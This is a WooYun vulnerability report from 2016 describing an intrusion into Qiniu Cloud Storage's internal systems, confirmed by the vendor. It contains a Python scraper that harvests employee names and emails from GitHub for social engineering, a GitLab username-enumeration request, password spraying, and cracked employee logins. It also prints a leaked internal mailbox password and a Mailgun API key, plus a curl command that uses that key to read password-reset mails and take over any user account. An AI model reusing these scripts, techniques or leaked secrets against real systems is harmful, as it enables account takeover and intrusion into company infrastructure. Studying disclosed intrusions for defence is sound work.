当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0214417

漏洞标题:七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

相关厂商:七牛云存储

漏洞作者: 路人甲

提交时间:2016-05-30 15:02

修复时间:2016-07-15 16:40

公开时间:2016-07-15 16:40

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-30: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开

简要描述:

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

详细说明:

0x01------寻找切入点
切入点是渗透中非常重要的一个环节,这里预想了两个切入点进行测试。
预想的切入点1:收集七牛github里的用户名和邮箱,通过社工进入员工的github
为什么要找这个切入点?根据前期的信息收集,通过github可以oauth登录到七牛自建的gitlab上,也不排除有些公司在github上建有自己的私有仓库。
很多公司的员工在github上有互相关注并且公开了自己的公司名,邮箱等信息。所以这里的测试思路就是用已知的几个七牛github用户作为入口,爬取这些用户粉丝中包含qiniu、Qiniu和七牛等关键字的用户名,再访问这些用户名的主页获取用户名、昵称和邮箱

1.png


脚本如下,渣代码凑合用。

#coding=utf-8
'''
poc: Get_qiniu_github_employee_info
url: http://www.github.com
'''
import requests
import sys
from bs4 import BeautifulSoup
import re
import os
reload(sys)
sys.setdefaultencoding('utf-8')
script, filename = sys.argv
# 定义网页中的关键字
key = ['qiniu','Qiniu']
# 如果github中存在某关键字,记录下来对应的用户名
for name in open(filename):
name = name.strip('\n')
req = requests.get("https://www.github.com/%s" % name)
result = req.text
for i in key:
if i in result:
srcName = file('input.txt', 'a')
srcName.write(name + "\n")
srcName.close()
# 删除重复行
fin = list(open('input.txt'))
fout = list(set(fin))
fout.sort(key = fin.index)
handleFout = ''.join(fout)
print '包含关键字的用户名' + '\n'+ '------------------------------------------------'
# 打印和记录包含关键字的用户名
print handleFout
output = open('output.txt','a')
output.write(handleFout + '\n')
output.close()
# 获取带有关键字的粉丝用户名
def getGitName():
name = open('output.txt')
print '粉丝的用户名' + '\n' + '------------------------------------------------'
for realName in name.readlines():
realName = realName.strip('\n')
for k in range(10):
html = requests.get('https://www.github.com/%s/followers?page=%d' % (realName, k)).text
nSoup = BeautifulSoup(html,'html.parser')
link = nSoup.find_all('span',class_='css-truncate css-truncate-target')
for i in range(len(link)):
for j in key:
if j in link[i]:
print (link[i-1].contents[0].attrs)['href'][1:]
qf = open('username.txt','a')
qf.write((link[i-1].contents[0].attrs)['href'][1:] + '\n')
qf.close()
print '\n'
getGitName()
# 获取该粉丝的用户名/昵称和邮箱
def getInfo():
name = open('username.txt')
print '粉丝的用户名(昵称)和邮箱' + '\n' + '------------------------------------------------'
for username in name.readlines():
username = username.strip('\n')
info = requests.get('https://www.github.com/%s' % username).text
iSoup = BeautifulSoup(info,'html.parser')
print iSoup.title.string[:-9]
reEmail = re.compile("\w+@\w+\.\w+")
email = iSoup.find(text=reEmail)
print str(email) + '\n'
qndata = open('qndata.txt','a')
qndata.write(iSoup.title.string[:-9] + '------' + str(email) + '\n')
qndata.close()
getInfo()
os.system('rm -f input.txt output.txt username.txt')


然而结果却是,一个成功登录的都没有!后来才知道,七牛的github启用了二次验证,能登录才怪!

2.png


预想的切入点2:暴力破解。分两步,先暴破用户名再暴破密码。
1.暴破用户名
选择gitlab作为暴破暴破用户名的入口

https://gitlab.qiniu.io


将uri中的user修改为姓名即可,返回长度大于8000的就是存在的用户。我们拿了top500的字典跑,跑出来了12个。这里还有100万姓名的字典,应该能把七牛所有的gitlab用户覆盖到70%以上

3.png


GET /u/user HTTP/1.1
Host: gitlab.qiniu.io
User-Agent: Mozilla/5.0 (Windows NT x.x; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: _gitlab_session=7f28ef8963364c160f0209f4bc1708dd
Connection: close


不过这里我偷了个懒,用了上次提交的漏洞里,从ITDB系统拿到的所有员工姓名。
2.暴破密码
暴破其实已经做过,但之前拿到的并不是全量的用户名,系统和字典也没有好好选择,这次有针对性的分析下。

http://group.qbox.me/  LDAP认证,无破解封用户限制
https://evm.qiniu.com/#/signin 邮箱+密码,有5次限制


密码字典其实就包括2个密码,这两个密码在实际的渗透中出现概率极高,建议各公司把这两个密码放到字典里。然后破解了两个用户,第一个用户姓名也在100万的大字典里,所以即使没从ITDB拿用户名,结果也是一样的。

chenxingyu/1qaz@WSX
luzhidao/P@ssw0rd


4.png


0x02------GO!
七牛的账号认证体系有几种:

1.Ldap 
https://qcos.qiniu.io Qcos系统
https://crm.qiniu.io 客户管理系统
2.二次验证(关键系统)
https://admin.qiniu.io 管理后台
https://gitlab.qiniu.io 源码
3.自带账户认证的应用
https://pm.qbox.me/ redmine项目管理
https://confluence.qiniu.io Jira/Confluence wiki系统
https://jenkins.qiniu.io/ jenkins


我们只能访问Ldap和自带账户认证系统的应用,从redmine和Jira/Confluenc找到的几个重要的系统信息如下:
1.七牛用的各家CDN的信息

5.png


我们登录下腾讯云的,可以管理的域名3w多个。

6.png


这是果壳在某家CDN的日志,打开后是用户访问图片的请求,包括了图片地址。

7.png


Qcos系统,应该是七牛的核心生产系统,这是七牛几个用户的

8.png


可以进行重启,查看配置,修改等操作

9.png


接下来说下重置任意用户密码。在Jenkins里的某个deploy包里,发现了noreply@qiniu.com的邮箱密码。

mail.internal.User = noreply@qiniu.com
mail.internal.Password = Ub7NasP9


七牛官网有重置密码的接口找回密码

10.png


查看邮箱,发件箱里并没有找到发送的重置密码邮件,仔细看发件人是noreply@email.qiniu.com,而腾讯企业邮箱的格式是noreply@qiniu.com。
又翻了下之前的文件,收发邮件并不是一个系统,发邮件用的是mailgun,文件中包括了发件需要的key

11.png


去官网看了下他们的API说明,只要发送如下的包就能获取到mailgun对某个用户发送的邮件

curl -s --user 'api:key-a7519a16c41519bdd10e08da27453e86' -G \
https://api.mailgun.net/v3/email.qiniu.com/events \
--data-urlencode begin='Fri, 29 May 2016 09:00:00 -0000' \
--data-urlencode ascending=yes \
--data-urlencode limit=25 \
--data-urlencode pretty=yes \
--data-urlencode recipient=这里写邮箱如tom105@163.com


获取到的发件信息如下。

12.png


这里还要打开那个url,用户名是api,密码就是那个key

13.png


然后用获取的token重置密码

14.png


漏洞证明:

修复方案:

能放内网的系统都放内网吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-31 16:30

厂商回复:

感谢您对七牛的关心,我们立刻安排修复。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-30 15:03 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5460 漏洞数:423 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    iphone6s

  2. 2016-05-30 15:29 | sauce ( 普通白帽子 | Rank:300 漏洞数:47 | 面向人民币编程)

    iphone6s

  3. 2016-05-30 15:50 | 木易 ( 普通白帽子 | Rank:349 漏洞数:71 | 不,,不要误会,我不是针对谁,我是说在座...)

    可以

  4. 2016-05-30 16:28 | 邪少 ( 实习白帽子 | Rank:98 漏洞数:19 | 百里长苏)

    iphone6s plus